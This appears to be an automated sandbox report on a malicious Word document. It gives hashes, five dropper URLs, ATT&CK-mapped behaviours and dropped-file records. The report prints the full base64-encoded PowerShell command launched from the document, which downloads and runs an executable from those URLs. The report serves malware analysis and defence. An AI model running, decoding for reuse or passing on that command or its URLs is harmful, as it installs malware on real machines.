5a339bed662000c7482bef1785340e56fb3f3a495dde5df8e37cc237ac111374

General

Target

63fafb0473cc7cf6b0907463dbba7e9b_JaffaCakes118.doc
Size

232KB
MD5

63fafb0473cc7cf6b0907463dbba7e9b
SHA1

557e086209bf9b9ca62012e237687a6d57d71b61
SHA256

5a339bed662000c7482bef1785340e56fb3f3a495dde5df8e37cc237ac111374
SHA512

aba532b4c58ef2eee35d1c995a1ea8377b4a66d2eac19d9d70f6b594f2cdb90ee4cedbec6e2d73aa2e7cba5940420855355d05e1f437c8841b7992535d018151
SSDEEP

3072:2j6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkrlDnc9k1/w4nRB:2HgtEWPsL/aTyT9Gk5Dnc9s/w4nRB

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://kndesign.com.br/wwvv2/wPxxj0v53027676/

exe.dropper

http://load.studio/wp-admin/fqmCvt/

exe.dropper

http://melangefresh.com/partner/9lg91006/

exe.dropper

http://cengizgulec.com/wp-admin/wmZHHHARm/

exe.dropper

http://www.skydiarynepal.org/wp-admin/HWGaf/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	4648	powersheLL.exe

Blocklisted process makes network request 3 IoCs

Processes:

powersheLL.exe

flow pid process

31 1988 powersheLL.exe
34 1988 powersheLL.exe
36 1988 powersheLL.exe

flow	pid	process
31	1988	powersheLL.exe
34	1988	powersheLL.exe
36	1988	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2928 WINWORD.EXE
2928 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1988 powersheLL.exe
1988 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1988 powersheLL.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE
2928 WINWORD.EXE

pid	process
2928	WINWORD.EXE
2928	WINWORD.EXE

pid	process
1988	powersheLL.exe
1988	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1988	powersheLL.exe

pid	process
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\63fafb0473cc7cf6b0907463dbba7e9b_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCD7D36.tmp\gb.xsl
Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0e3hvbze.zvj.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1988-77-0x00000264B1F10000-0x00000264B1F32000-memory.dmp

Filesize
136KB

Download
memory/2928-20-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-580-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-5-0x00007FF8D004D000-0x00007FF8D004E000-memory.dmp

Filesize
4KB

Download
memory/2928-6-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-7-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-8-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-19-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-11-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-10-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-12-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-15-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-14-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-13-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-16-0x00007FF88DCD0000-0x00007FF88DCE0000-memory.dmp

Filesize
64KB

Download
memory/2928-17-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-18-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-21-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-37-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-9-0x00007FF88DCD0000-0x00007FF88DCE0000-memory.dmp

Filesize
64KB

Download
memory/2928-3-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-1-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-57-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-64-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-69-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-76-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-4-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-2-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-97-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-98-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-477-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-0-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-568-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-578-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-579-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-36-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download
memory/2928-601-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-602-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-604-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-603-0x00007FF890030000-0x00007FF890040000-memory.dmp

Filesize
64KB

Download
memory/2928-605-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads